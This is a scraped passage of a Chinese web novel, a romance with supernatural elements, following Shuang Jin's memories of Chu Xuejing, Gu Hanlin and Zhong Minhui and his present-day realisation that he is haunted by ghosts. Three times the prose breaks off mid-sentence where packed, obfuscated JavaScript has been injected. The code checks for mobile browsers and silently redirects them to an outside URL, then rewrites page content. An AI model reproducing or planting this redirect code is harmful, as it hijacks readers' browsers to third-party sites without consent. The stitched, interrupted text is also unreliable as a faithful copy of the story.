双锦担心是楚家的父母,生怕听到别人家的私事,连忙就想跑到门外装作刚来的样子,推开房门前他有些紧张地回头看了一眼。 就这一眼让他看到了出现在一楼和二楼楼梯接口的两人。 古含林怒容满面地拉着一个人修长的小臂,上衣的领口歪斜,肩膀处有好几块灰黑,像在地上滚过,头发也乱糟糟的,看起来颇为狼狈。 而被他拉住的人身上雪白的衬衫整洁笔挺,只有手臂被牵扯的地方微皱。 楚雪镜一只手揣在长裤中,神色漠然地看了眼自己小臂,他没说让人放开的话,只是面无表情地抬手…… 无声无息却极其凶狠的一拳让古含林踉跄地后退了一步,口鼻瞬间流出血来,一只眼睛和眉骨肉眼可见地青肿起来。 这种狠厉与双锦心中的楚雪镜大相径庭,他几乎瞬间低呼一声,紧接着立刻捂住自己嘴巴。 当时也不知道是什么心理,他想的是不能让楚雪镜知道自己看到他这样,他想装作不知道。 于是他拎着礼物偷偷往门外钻,但没等他出门,就听到几声闷响,像肉丨体砸在地面上的声音。 “你他妈的!你——你耍什么花样?”这一声是古含林说的,话语中暗含着惊诧和警惕。 双锦下意识地回头,目光落在地上。 楚雪镜倒在他的不远处,碎发下瓷白无暇的额头上似乎有刺眼的红。 一种眩晕感在眼前翻涌,双锦瞬间扔下手里的东西跑到楚雪镜的身边,声音尖锐,尾音带颤,“雪镜!” 他这一声让还站在楼梯转角的人为之一怔,惊愕地发现双锦竟然在这里。 “雪镜……你还好吗?”他将人扶着坐起身来,看到楚雪镜的脸上冷汗涔涔,苍白一片,额头的红像蛇一样攀爬在这张精致优越的脸上,顺着流畅的侧脸蜿蜒,像价值连城的美丽瓷器被无情地毁坏裂开了,针尖一样扎入双锦的心里。 “不是……”楼梯上的人快步跑下来,他急迫地掰过双锦的肩膀,想说什么。 双锦缓缓侧过头去,撩起眼皮瞟了古含林一眼。 那一眼很轻,但心疼难掩,恨意冷峻,心疼不是给他的,只有怨恨从密匝匝的睫毛后如刀一样刺出,让古含林瞬间僵在原地,瞳孔骤缩。 “我不是……我,双锦,你别信他……” “你相信我啊!” 19.偏见 古含林也知道双锦不可能相信他了。 他当着双锦的面打了他的朋友钟敏卉,又把他喜欢的楚雪镜推下楼,别说相信,原谅都是不可能了。 可是为什么?为什么只怪他呢?错都是他一个人的吗? 钟敏卉就没错吗?他根本不想揍钟敏卉,他又不是疯了,怎么可能当着双锦的面打人,可钟敏卉太气人,明知道自己脾气不好还故意说那么多难听的话,他实在忍不了了。 还有楚雪镜,他只是还了一拳,根本没有推他,谁知道他为什么会摔下去? 这……会不会是污蔑? 楚雪镜是不是故意的? 有一瞬间,古含林非常怀疑楚雪镜早发现了双锦在这里,他故意的,他故意想让双锦误解他,双锦本来就因为钟敏卉的事生他的气,好不容易才愿意和他说几句话,还答应会参加他的升学宴。 这回完了。 “我真的不是故意的!我根本没推他!” 他拉扯双锦的肩膀,想让他好好听一下自己说话,但是双锦眼里只有楚雪镜。 他艰难地把人搀扶起来,让楚雪镜完全靠在自己肩膀上,好像发生了多么了不得的事,非要带楚雪镜去医院。 只是摔伤了一点而已,有什么大不了的? 明明自己也受伤了,他一边鼻子和嘴角都在渗血,小半张脸肿得变形,看起来凄惨狼狈,毫无之前的俊朗,更别提身上穿着衣服的地方还有看不到的伤,但是双锦眼里只有楚雪镜头上那点伤口。 他流血就格外可怜吗? 古含林怨愤地盯着他们,但是他发现不公平的不止长了一颗歪心脏的可恶双锦,连老天都对楚雪镜格外优待,楚雪镜的伤藏在头发里,乍一看血红刺眼,但实际上那张脸根本没伤到,只有他肿得像猪头。 真不公平啊…… 出于这种心理,他更加看不得双锦心疼楚雪镜,如果之前只是怀疑楚雪镜是故意陷害自己,那现在无论楚雪镜是不是故意的,他都咬定他是故意的。 “他就是故意的,不然怎么就那么巧,你不来他不摔,你来了他就摔了!”他死死拽着双锦的手腕,不准他走,第一次感觉到百口莫辩。 于是不自觉的,他又控制不住自己在双锦面前胡乱说话,“既然摔了,那他怎么不死??!” “啪——” 几乎是这句话落地的瞬间,他忽然听到耳边一声脆响,下一瞬脸上传来火辣辣的感觉才反应过来,哦原来被打了,被双锦打了。 他的力道和楚雪镜比起来简直不值一提,对于打过不知多少次架的人而言和挠痒无差别,但却让古含林整个人僵在原地。 “双锦……” 双锦轻飘飘的打断他,声音还是那副不怎么有力道的低柔,但却不妨碍说出来的话伤人,“古含林,你太过分了。” 双锦对古含林的讨厌贯穿整个少年时期。 起初双锦只是厌烦他,后来古含林逐渐地疯狂,双锦对他的讨厌几乎到了连他的名字都不能听的地步。 继楚雪镜被古含林推下楼梯之后,双锦不得不辞去了临时工作——在一家工艺品店做泥塑摆件。 原因很简单,这个店是古含林兄弟的,虽然工作不是古含林给介绍的,但是古含林的兄弟在双锦求职的第一天就认出了双锦,双锦不认识他,但对方说和古含林是朋友,之前见过他。 因为这个双锦认为这份工作是对方看在古含林的面子上任用他的,那既然闹掰了就不能再有牵扯。 但双锦实在很需要一份工作,他的母亲身体不健康,收入不足以支撑他读大学,虽然姐姐虽然已经成家,但是双锦不想用姐姐的钱,这样一份能够轻松胜任又收入可观的工作很难得。 在此之前他其实已经攒了一些钱了,但是因为想给楚雪镜准备礼物所以一咬牙都花掉了,他欠楚雪镜很多钱,得到了他很多帮助,不想在第一次约会上就给对方敷衍的感觉。 本来在接下来的两三个月里只要肯出力是可以赚够学费的,但是…… 楚雪镜的伤口差不多好了之后,他们再一次约定见面。 双锦没有钱再准备礼物,上次光顾得生气,回去好几天他才想起手表的事,虽然让楚雪镜回去找了,但双锦这一次空着手去见他总觉得心情很糟糕。 明明是真正意义上的一次约会,竟然连再准备一份体面的礼物都做不到。 不过这种烦恼在见到楚雪镜后烟消云散了。 和为生活焦虑的双锦不同,楚雪镜约他见面的地方比上一次的餐厅更高档,双锦第一次来这种地方,进门之后第一件事不是去寻找楚雪镜的身影,而是低头看自己的穿着。 平价的白上衣和牛仔裤,牛仔裤的裤脚已经有些磨损,好在楚雪镜身上的款式和他穿得差不多。 双锦暗想别人可能看不出差别,直到他发现点菜时服务员直奔楚雪镜而来,主动和他搭话,好像自己只是一个配角。 不过楚雪镜似乎对点菜兴致缺缺,只点了几样就将菜单推给了他。 但双锦还是暗戳戳生气。 他没有在楚雪镜的手腕上看到自己的那款表。 想想也是,在这里吃一顿饭的钱或许就高于那块手表了,楚雪镜看不上也正常。 不过气还是气的,于是服务员走后,他不小心将心中的话脱口而出。 “我可以再借你点钱付那块手表的钱吗?” 债就像虱子,多了就麻木了。 但他发现根本就麻木不了,很尴尬。 他觉得好像分手后要回礼物的渣男啊。 不不不,双锦摇头。 渣男起码是分手后才要钱,他是打算让恋人自己花钱买礼物,他比渣男还不要脸呐。 不过楚雪镜并没有生气,他十分痛快地给双锦转了一笔钱,乖得很,予取予求。 双锦看到那笔可以帮他解决第一个学期学费的钱后越发无地自容,他立刻要把钱转回去,“我开玩笑的,就是……不太好笑。” 但是楚雪镜轻柔地按住他的手背阻止了他,“不用还我,我有件事想拜托你。” 什么事? 双锦连忙抬起头来,“你说。” 楚雪镜说他母亲的雕塑馆需要几个年轻细心的雕塑专业的学生做一下蜡塑的上妆,馆里前辈可以教新人,兼职结束后也可以给开工作证明,对未来学习和积累工作经验都比较有利。 “如果你有意向,我希望你和我一起,介时你要是想还我再用你的工资还我好了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714222|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 双锦又不傻,怎么可能不知道他的意思。 这种专业对口还有人亲手教的工作,与其说是工作不如说是非常难得的学习机会,还是给钱的那种。 这怎么可能是轻易就能找到的?更不必说缺毫无经验的年轻学生了,在此之前,他根本不敢想。 这是楚雪镜送了他一份精心准备的礼物,还顺便给了他台阶。 眼角痒痒的,双锦低头看着盘子里软软的土豆泥不知道该说什么道谢的话。 不过楚雪镜也没让他道谢,他从上衣口袋中掏出了一个盒子,献宝似地在双锦面前打开,“噔噔,看这是什么?” 赫然是自己送他的腕表,双锦心中一喜,“你找到啦。” “那当然啦,你让我找怎么会找不到?”楚雪镜让他帮自己戴上,双锦也不扭捏,笑着把手表戴在了那只骨节分明的手腕上。 银色的手表与楚雪镜白皙的皮肤很配,相得益彰。 “小锦……”双锦察觉到他语气的变化,微怔。 楚雪镜叹了口气,忽然说:“抱歉,那天不能算是古含林推的我。” 双锦一愣,他没想到楚雪镜会主动提这件事。 其实他也不是没有怀疑,但比起古含林他更愿意相信楚雪镜。 双锦一时没有说话。 楚雪镜歉意地敛眉,“他打我时我本打算后退一步避开,但忘记了身后是楼梯,因此不小心踩空,我没有解释是因为当着你的面我不好意思直说。” 是这样吗? “那……也不算冤枉了他,哪有去别人家里打人的?太嚣张了,”双锦说,“你欺负你本来就有错,既然这样你们……” 他本想各打五十大板,说一半一半,但是又有些私心说不出,且他觉得楚雪镜虽然没解释,但是他事后还是很诚恳的,不能跟古含林一半一半,于是改口,“已经过去就不提了。” 楚雪镜很开心,他用戴着手表的那只手握住双锦白生生手指,语气甜蜜,“幸亏是摔了头不是摔了脸。” “胡说什么,难道脸比头还重要吗?”双锦觉得好笑,抬头的瞬间,眉心擦过一片柔软,那感觉酥酥的,让他心头一颤,腮上飘起一层胭红色。 他慌忙看了眼四周,轻声埋怨了一句:“干嘛?还有别人在呢。” “没关系,这是情侣餐厅。”楚雪镜弯起眼睛,两片唇轻轻一碰,又在他眉心轻啄了一下。 * 楚雪镜…… 双锦感到头脑发胀。 楚雪镜,钟敏卉,古含林。 古含林死后双锦再也没有见过他,他活着时闹腾不够,死了倒是非常安静。 楚雪镜和钟敏卉…… 如果这两个人里必须选出一个最信任的人。 双锦将融化的榛子糖扔下。 楚雪镜竟然没有回来,他想看看现在几点了,于是抬起头来。 眼角的余光却捕捉到一个模糊的身影。 顿了一下,双锦缓缓侧目看向房门。 小屋房门的上半部分是玻璃,可以清晰地看到外面。 双锦转过头的瞬间和门外人的人对视了。 一个容貌隽秀如玉的少年站在门外,悄无声息神色莫测地看着他。 20.是我 他不知道在门外站了多久,见双锦发现了他弯唇笑了笑,上前几步将钥匙插入老式挂锁。 “刚刚在想什么?好像出神了,看起来呆呆的。”他打开房门走到双锦身边,将手中的东西随手放在桌子上。 他每次短暂的消失之后都会带食材回来,就像他说的去购买食材了。 “你今天好像回来得有些晚。” 双锦转过身来,声音有些低哑,但语气还是轻缓的。 “是有一点,路上看到甜品店,我想你或许会想吃甜的。” 少年从一堆东西中取出一个精致的打包袋,将袋子拆开后里面是块硬奶油榛子蛋糕,蛋糕整体像个尖头小帽子,顶端追着一颗榛子,乳黄色的奶油霜中混着打碎的果粒,泛着油润的光泽。 确实是双锦喜欢的甜品,五六年前楚雪镜还活着时每次约会都会给他点这个点心,双锦很爱吃。 后来楚雪镜出事后他就再也没去过那家餐馆,也再没吃过这个甜品。 双锦将蛋糕盒接过来,垂下眸,眼中是那颗小小的榛子。 他拿起餐勺戳了一下,但没吃,又放下了,清丽的脸上有消散不开的沉郁。 少年将他全部的举动收入眼中,他含着笑什么都没说。 仿佛狩猎回来发现领地出现入侵者的野兽,他的视线在双锦脸上和身上一寸寸划过,不知道有没有看出什么,忽然抬起脚在室内缓缓踱步,目光阴沉地落在每一个房间每一个角落。 双锦看着他将整套房子检查了一遍后,向自己走过来。 “小锦,”他比双锦高,站在双锦的身前时影子将他笼罩其中,说话的语气低柔轻缓,“自己一个人在家,有做什么吗?” 虽然这副皮囊和楚雪镜不一样,但双锦还是察觉到他气质的骤变,他在怀疑。 双锦张了张口,眼睛没有看他,半真半假地说:“我睡了一会儿,梦到了高中时候了,还有……敏卉。” 少年点头,示意他继续说。 “我没什么想说的。”双锦摇头,“只是一个荒诞的梦。” “看来是个噩梦,”少年说,“竟然让你梦到了厉鬼。” 双锦看了他一眼。 少年挑眉,用庆幸的语调说话,“幸好只是个荒诞的梦,不然……” 他画风一转,神色如常地说出让双锦心中一惊的话,“还我以为钟敏卉对你说了什么,譬如让你离我远点,最好除掉我。” 双锦的眉头跳了一下,撩起睫毛看他,他面相柔顺,这样由下而上地看人时脸白生生,眼黑涔涔,眼球上覆着一层水雾,看起来像示弱,但细看又不太像。 这种人的皮囊有很强的迷惑性,让人难以看清真实的情感。 但站在他身前的人却能一眼看透,对方缓缓眨眼,歪头看他,“怎么不高兴了?” “雪镜,”双锦垂下眼,移开视线,长而淡的眉微蹙,“你好像和以前不一样了,我不喜欢你对我强势,也不喜欢你怀疑我……” 他说完这句话后被捧住了脸,一双滑又冷的手,手掌贴在他的侧脸,拇指在眼下娇嫩的皮肤上很温柔地细细摩梭。 这个像大人哄小孩的动作让他想到很久以前,双锦顿了下,垂下眼睛,看起来有些乖顺。 “我没有怀疑你,”说这话的人目光下敛,脸上没有笑,十分平静,“我知道你不会因为钟敏卉的三言两语就相信他,你对他没有那么多感情,而你对我也没有完全信任。” “我——”双锦想要反驳,但望进那双海一样深邃的眼,又沉默了,他侧过眼睛去像个被拆穿心思的孩子一样抿着唇。 “但我不介意,我知道你只是感到不安全,我也知道你最爱我……” 双锦被抱紧怀里,侧脸被什么轻轻碰了一下,擦过他过长的眼尾睫毛,触感冷涔涔的。 不是熟悉的身体,也不是熟悉的怀抱,但感觉确实熟悉的。 楚雪镜抱着他,修长的手臂从的他的身后来带身前,一只手环过他过细的腰身,另一只手臂自下而上穿过胸前,落在他的肩头,像一条寒冷又美丽的蛇缠绕着他,不知不觉中将他完全禁锢在怀里。 双锦从门窗上的玻璃看两人的影子,看到自己脸侧那张白皙的脸,真的很白,鱼腹一般冰冷的白,五官极致精美,紧紧贴在他的脸侧,深水沉潭一样浓黑的眼和双锦的目光在玻璃倒影中对视。 他勾起唇角笑了笑,柔声叫他小锦,很美,却鬼气森森。 鬼缠身。 双锦看着玻璃中倒映的自己,脑海中倏忽冒出这样一个词。 怎么现在才发现呢? 忘记自己死亡的古含林是鬼,钟敏卉是鬼,楚雪镜……也是。 从不久前第一次在雨天见到楚雪镜开始,一切都不一样了。 也有可能是更久之前。 无论是为什么,双锦恍然意识到,自己的身边已经彻底没有活人了。 只有互相怨恨的怨鬼纠缠不休。 或许从一开始他就弄错了,这不是简单的撞鬼,而是鬼缠身。 恶鬼缠身会怎样…… “在想什么?”耳边的唇张口说话,吐出来的气冰冷冷的。 怀中人的身体很单薄,垂眸时长睫随着眼球的转动几不可察地颤了下,“你们要害我吗?” “为什么要把我和他们混为一谈?”对方亲吻他的鬓发,语气闷闷的,不太高兴。 “我不是那个意思,我只是想起过去。” “过去?” 双锦对他的亲吻和怀抱都没有一丝一毫的反抗,“过去你和钟敏卉才是朋友,他说你们有很远的亲戚关系。” 双锦的意思是至少他们两人曾经关系很好,或许他们之间对彼此的了解程度,比他对他们的认识更深。 他想听楚雪镜对钟敏卉的评价。 楚雪镜闻言笑了声,又无奈地叹息道:“我从来没把他当朋友……” 怎么会呢? 双锦记得很清楚,钟敏卉来学校的第一天是楚雪镜带他来的。 那时候的钟敏卉一点都不像女孩,也不怎么漂亮,他留着比较长的头发戴着一副很厚的眼镜,总是低着头,身上死气沉沉的,脸上总也不见笑意,好像永远都不开心。 他只和楚雪镜说话,虽然说话时面无表情,但是对楚雪镜的称呼会更亲近一些,叫别人会连名带姓,但叫楚雪镜是“雪镜”。 双锦敏锐地察觉到了这一点,他认真观察了这个新同学一段时间,听说他比他们都大,留了两次级,之前一直在家中休学。 或许是误认为他和楚雪镜关系好,在一次外出野餐时,双锦把钟敏卉也叫上了。 钟敏卉虽然虽然已经20岁了,但是个子不高,没有双锦高挑,也更比不上十八九岁就超过一米八的楚雪镜和古含林。 他还长了张娃娃脸,因为体型肥胖,脸颊也丰润,看起来虽然不漂亮却显小。 那天周五放学,楚雪镜又早早不见了。 双锦收拾东西时见他一直盯着身前属于楚雪镜的桌子,以为他不知道楚雪镜走了,于是主动和他说了,想了想,他又问了句:“你和雪镜是什么关系?” 问完这句话之后他看到钟敏卉抬起头来,白胖的脸上一双大而水润的眼,算不上多精致,但是眼珠水雾雾的,一对双眼皮很流畅,看人的眼神动物一样带着和年龄不同的直接。 “他妈妈和我爸有些亲戚,不过很远。”说话的声音像十三四岁的孩子,带着和年龄不符的稚嫩清脆。 “你的眼睛很漂亮,”双锦随口夸了一句,“周末我和雪镜还有另一个朋友想去野餐,如果你自己无聊的话可以和我们一起去。” 钟敏卉一时没说好不好,只直直地盯着他,目光在双锦的脸上滑动,不知道是不是眼珠太水亮,双锦觉得这目光湿漉漉的,像从海里捞上来的鱼的眼睛。 他有些不舒服,侧头避开视线时却听他说:“好啊。” 说完又探过头来,“你的眼睛也真好看。” 双锦笑了下。 彼时他和楚雪镜之间还差一层窗户纸,双锦不是拿乔装傻的人,他知道楚雪镜给他钱又在学校的舆论中保护他的意思。 双锦心里有些雀跃,想一想楚雪镜喜欢自己也会开心,他愿意去暗戳戳做一些讨好楚雪镜的事,就比如叫他的亲戚一起去野餐。 不过楚雪镜似乎并不开心,他倒是没有特殊的表现,脸上仍然常挂着笑意,只是在看到钟敏卉和双锦一起出现时目光中闪过快到不易察觉的幽深,一瞬而逝。 但双锦还是捕捉到了。 他愣了一下,不明所以。 几个人约在附近一座景色不错的山上公园,十几分钟后古含林骑着摩托姗姗来迟。 那时候他刚和双锦认识不久,和几个人之间的关系还不算恶劣。 再一个他已经“改邪归正”,去了复读学校重新念书,在双锦看来也不是不可以做朋友。 他对楚雪镜有微妙的敌意,但似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732670|172169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎有所忌惮,不会表现得很明显,平常还是会好好说话,但对钟敏卉就是赤丨裸裸地敌视。 从摩托上下来的第一时间,他把头盔一扔,粗长的眉一皱,狠狠压在眼皮上方,“这是双锦带来的人吧?” 双锦眼皮一跳,果然他的下一句就是脏话,“你带头猪过来是想烧烤吗,这里不让点火。” 双锦连忙看了眼身旁的钟敏卉,他抱着一个装着食物的包,很乖巧地站在双锦身旁不到一步的距离,脸上的表情沉静如死水。 楚雪镜垂着眼不知道在想什么,闻言淡淡瞟了一眼古含林。 一霎那双锦想会不会是因为这个原因,楚雪镜才不想让他带钟敏卉来?怕他太老实了会被古含林欺负? 他几乎立刻冷下脸维护钟敏卉,“道歉!” 此前他一直是比较内向的性格,平常说话的语气总是低柔平静,这少见的翻脸让几个人都同时看向了他。 三个人,三个全然不同的目光。 古含林哈了一声,“你他妈连一头猪都招惹就算了还……”他骂着骂着忽然看到双锦仿佛在冰水中泡过的眼神,话锋不情不愿地一转,“对不起。” “我再也不说他是猪了,行了吧?” 双锦也知道不能在他的嘴里得到更好的话了,只能自己又对钟敏卉说了声抱歉。 钟敏卉今天没戴眼镜,闻言向他眨了眨眼睛。 手上感觉凉凉的,双锦低头看到一双雪白细腻的手不知何时抓住了他的左手。 “先去逛逛吧。”楚雪镜揽过他的肩膀,他的手很自然地从双锦肩头滑落,修长的指节穿过指缝,和双锦十指相扣,拉着他向花团锦簇的花坛小径走去。 那里绽放着一坛坛的法莲栀子,香气醉人,高挑的槲寄生树间或其中,一簇簇雪白的小果实像散落枝叶间,是双锦最喜欢的两种植物。 他欣喜地从地上捡起晶莹的簇掉落的小果子,在楚雪镜低头的瞬间插在他鬓边的发中。 雪白剔透的果实像小珍珠,与楚雪镜白皙的侧脸相得益彰。 树下的光影随风而动,在他骨相绝佳的脸上营造出强烈的光影对比,显得五官浓重,俊美绝伦,仿佛画家精心绘制的油画。 双锦弯起唇,这一刻只有楚雪镜是主角,其他人早已被抛之脑后。 那之后几个人就以这种类似朋友却又不像朋友的关系相处,直到高中毕业,毕业那天晚上双锦第一次尝试喝酒就喝高了。 第二天的他醒来后发现自己在家中,竟然不知道什么时候被送回来了。 喝多的感觉很难受,双锦头昏得厉害才后悔昨晚没听楚雪镜的别喝那瓶覆盆子酒。 那么甜的酒,后劲却很大。 他在床上又躺了半天,直到下午好些了才打开手机。 手机里有一堆消息,双锦先闷着脸把古含林嘲笑他的消息删除个干净,才打开楚雪镜的聊天框,专心地斟酌用词和他聊天。 他以为楚雪镜打车把自己送回来的,聊了一会儿才惊讶得知确实是他打车送自己回来,但他竟然一口酒都没喝。 “你好厉害雪镜,你怎么忍住的?” 倒也不是酒好喝,而是同学一起聚餐,成年的都想尝试一下,连双锦都受不住劝,楚雪镜竟然一口没动。 楚雪镜说他不喜欢酒。 双锦却暗中想他或许酒品不好,怕自己笑话他。 这个想法出来让他幻想了一下楚雪镜像自己一样喝傻的样子,觉得有点好玩。 他想旁敲侧击,问问楚雪镜是不是这么回事,但消息还没发出去忽然收到一条陌生号码发过来的短信。 有人约他见面,语句之中有股说不清道不明的湿黏感。 双锦按照号码将电话打了过去。 电话打通了,但只响了几秒钟就被拒绝了。 是诈骗吗? 但手机是本地的。 正在不解的时候,有人给他打来电话。 这个号码有备注,是楚雪镜。 楚雪镜似乎在街上,背景中有车辆声和商家的宣传广告声,显得他的声音格外干净悦耳:“刚才给你打电话占线,是在通话吗?” 双锦将那条短信截图发给他,说:“你看,不知道是不是发错了,你认识这个手机号吗?” 电话那边沉默了一瞬,只余吵杂的广告声。 几个呼吸后,双锦说:“不认识就算了,我也不想去……” 然而楚雪镜忽然说:“是我。” 21.别告诉他 楚雪镜又办理了一个手机号吗? “所以你是想让我知道你的新手机号才给我发的短信是吗?” 双锦没多想,他把手机号保存了,备注了楚雪镜(2),把现在这个备注成了楚雪镜(1)。 楚雪镜没有正面回答,他说夏天太热,去短信上说的莲花池玩会不舒适,又约了他在别的地方见面。 双锦答应了,他心中雀跃有些高兴,像星星一样一闪一闪的。 或许是和楚雪镜在一起总是能得到好处,也或许是双锦就是单纯喜欢这个人,双锦爱和他说话和他玩,他想……这算不算是约会呢? 虽然两人还没有确认关系,但彼此心知肚明,只是缺少一个机会一句话。 双锦对此次见面很期待,他把自己的衣柜都翻找了一遍,想找一件像样的,却发现根本没有几件看得过去的。 他计划着去买一些好看一点成熟一点的衣服,打扮得像个大人一样,起码应该和楚雪镜般配。 但是他没有钱。 这让双锦有些愁,约会在即,现在去打工也来不及,于是他想找个人借一点,也不用很多,不是打算买多好的,就买件新衣服就可以了,过两天再去找个暑假工挣钱还上,可是问谁借呢? 爸爸不行,双锦的爸爸离婚后就彻底不管他们了,双锦也赌气不想见他。 妈妈也不行,妈妈又恋爱了,新男人没有双锦的爸爸有钱,双锦的爸爸离婚后还留给他们一套旧城区的老别墅,虽然不值太多钱,但也是一套房子,而双锦妈妈的新男友连稳定的工作都没有,还在外面还有很多欠款。 双锦怕妈妈被骗,劝她分手,但是被拒绝了,妈妈因为这件事和他吵了一架,高考之后就沉迷于恋情不怎么管他了。 姐姐也不行,姐姐过得很辛苦。 他看着手机,想给一个人发消息,但是犹豫了半天最终也没发。 双锦其实有些看不上古含林,不是看不起,就是看不上。 古含林辍学两年学了一身坏毛病,出口成脏爱骂人,脾气不好爱打架,他还背着双锦吸烟,双锦有时候能从他身上闻到烟味,即便他已经回来读书也改了一些坏习惯,但是双锦仍然觉得他粗俗。 和楚雪镜一比更是没法看,楚雪镜风趣温柔,干净清爽,身上总是香香的。 他认为古含林这种人不会有细腻的感情,就像他嘲讽钟敏卉是猪,根本就不尊重人。 所以他认为即便古含林有钱也不会像楚雪镜一样大方,他肯定不会借给自己,没准还会像嘲讽钟敏卉一样嘲笑自己几百块都拿不出来。 双锦删掉了对话框中的文字,打算就这样去见楚雪镜。 楚雪镜喜欢他就不会轻视他的。 不过他最终还是借到了钱。 双锦没想到钟敏卉会来找他。 打开门看到是他时,双锦惊讶了一瞬。 他身边的三个人中,楚雪镜被他划归为恋人,古含林是可有可无的人,而钟敏卉…… 双锦高三和他相处了将近一年,钟敏卉很缠着双锦,对和自己有点亲戚关系的楚雪镜都交流不多,双锦把他归类为朋友。 既然是朋友,那他不介意钟敏卉知道他的住址来找他玩,连古含林都知道,钟敏卉当然可以知道。 不过告诉他的时候,他没什么反应,于是双锦以为他没兴趣,只提了一次就没有再提了。 他没想到钟敏卉竟然能找来,记性这么好吗?换位思考,如果是别人只提了一次家庭住址,自己大概率是记不住的。 虽然不知道钟敏卉忽然来找自己做什么,但是人来了双锦还是邀请他进门。 他让钟敏卉在沙发上坐下,然后去冰箱给他拿了冰得凉凉的饮料,可惜前段时间双锦忙着高考,母亲又沉迷恋情,家中的经济很糟糕,冰箱有点空。 “只有橘子汁了,你要喝橘子汁吗?” 钟敏卉很乖地坐着,目光随着双锦的脚步而移动,像一只白胖的仓鼠偷偷观察着房子的主人,听到双锦的话他点了点头,然后接过了双锦给他的汽水瓶。 但是瓶子很难打开,钟敏卉拿在手中尝试拧了好几次也没成功拧开瓶盖。 他沉默着聚精会神地想打开双锦给他的饮料,一时没说话,双锦看着他费力却毫无成果地和瓶盖较劲,俩人相对而坐,气氛有点尴尬。 几分钟后钟敏卉失败了,他红着脸用两只手捧着果汁瓶递给双锦,小声说:“有点滑,能帮帮我吗?” “好。”双锦接过来,用力一拧。 失败了。 钟敏卉的眼睛看着他,很大很澄澈,像明净的湖面,能倒影出人影来,双锦有些尴尬,于是抽了张纸包裹在瓶盖上增加摩擦,屏了一口气,狠狠一用力。 喷出来了。 喷了钟敏卉满身。 他连忙用纸去擦钟敏卉被弄湿的领口和袖子,口中连连道歉,但是被糖水饮料弄湿衣服不是擦干这么简单,粘腻感会让人非常不适。 更何况钟敏卉身上的衣服看起来还不算便宜,白色短袖衫的质地很丝滑,双锦还在他的胸前看到了一个大品牌的logo。 这让他愣了一下。 因为他听说钟敏卉父母不在了,只有姐弟两个相依为命,家里条件不怎么好,现在再看好像不是。 至少他的衣服比自己的贵很多很多。 或许是今天忽然关注穿着了,他不禁回想起,以前钟敏卉的衣服也这么贵吗? 想不起来了,好像是又好像不是。 钟敏卉体型偏胖,衣服的款式都差不多,双锦从来没认真观察过他的穿着。 现在可怎么办,双锦怕钟敏卉会让他赔,让本就糟糕的经济状况雪上加霜,于是难得地表现格外殷切。 他拉着钟敏卉去卧室,翻出自己的衣服给他,“真的很抱歉敏卉,我没想到会喷出来,你先穿我的吧。” 双锦尽可能找到了最大的上衣和裤子,希望钟敏卉即便穿不下也能接受他的歉意,不要有让他赔钱的想法,他无钱可赔。 但钟敏卉竟然穿上了,双锦这才发现他瘦了,好像还瘦了不少。 虽然衣服仍然不合身,特别是臀和四肢处非常紧,穿上实在说不上美观,不过他看起来好像很喜欢,低着头抚摸短袖衫的衣摆。 双锦说:“真是抱歉敏卉。” “没关系,”钟敏卉弯起嘴角向他笑,眼角泛着粉,看起来内敛羞赧,他眨了眨眼睛,语调清和柔软,对双锦的称呼很亲近,“小锦,你真好。” 平常之后楚雪镜这样叫他,而且也不是常叫,是气氛暧昧时才这样,因此双锦有些不习惯,但也没有制止,只是个名字而已,随便他吧。 将钟敏卉的衣服放入洗衣机,他想了想还是问了钟敏卉今天来找自己的目的,“敏卉,你今天来找我有事吗?” 他从来不主动来家中找他,甚至提都没有提一下就忽然到访,双锦担心他有什么要紧的事。 不过钟敏卉听了以后的反应很奇怪,他不像是有事,反而像是开心期待又略显羞赧,用那副十三四岁少年一样稚嫩的声音对双锦说话,“去公园看莲花池呀。” 手上有一种奇怪的感觉,双锦垂眸,果然又看到一双白软的手缠上了自己的手指,像小孩子一样捏住他的小指和拇指,他总是喜欢这样,开心了就偷偷捏住双锦的手指。 但这个举动太亲密,双锦不适应和别人这样接触,于是立刻抽回了手。 钟敏卉看了眼自己空了的双手,已经习惯了双锦忽然的冷淡,但神情还是有些晦暗,“我想让你给我拍照。” 提到莲花池的时候双锦有一瞬的恍惚,因为楚雪镜今天上午给自己发的短信也是约他去莲花池玩。 但后来楚雪镜又说太热,取消了这个计划。 那要不要陪钟敏卉去呢? 其实楚雪镜说的对,确实很热,双锦有记忆以来很少有这么炎热的夏天,当然还有一个原因,他和钟敏卉其实没什么共同话题。 他缠着双锦,把双锦当朋友,从不拒绝他也不让他生气,双锦也就把他当作朋友,但是真的让他们长时间的单独相处他还是有些抗拒的,不知道该说什么。 于是双锦立刻就想拒绝他,但也不能拒绝得太直白,只好说:“过段时间我们再去吧。” 钟敏卉的脸上有很明显的失落,眼中的光彩黯淡下来,“为什么不能今天呢?明天也可以,或者最近你有空都可以,如果久了莲花就会谢掉的。” 他看起来真的很想约双锦出去玩,于是双锦只能半真半假地告诉他:“因为我最近没有钱,我需要利用假期时间去找一份工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 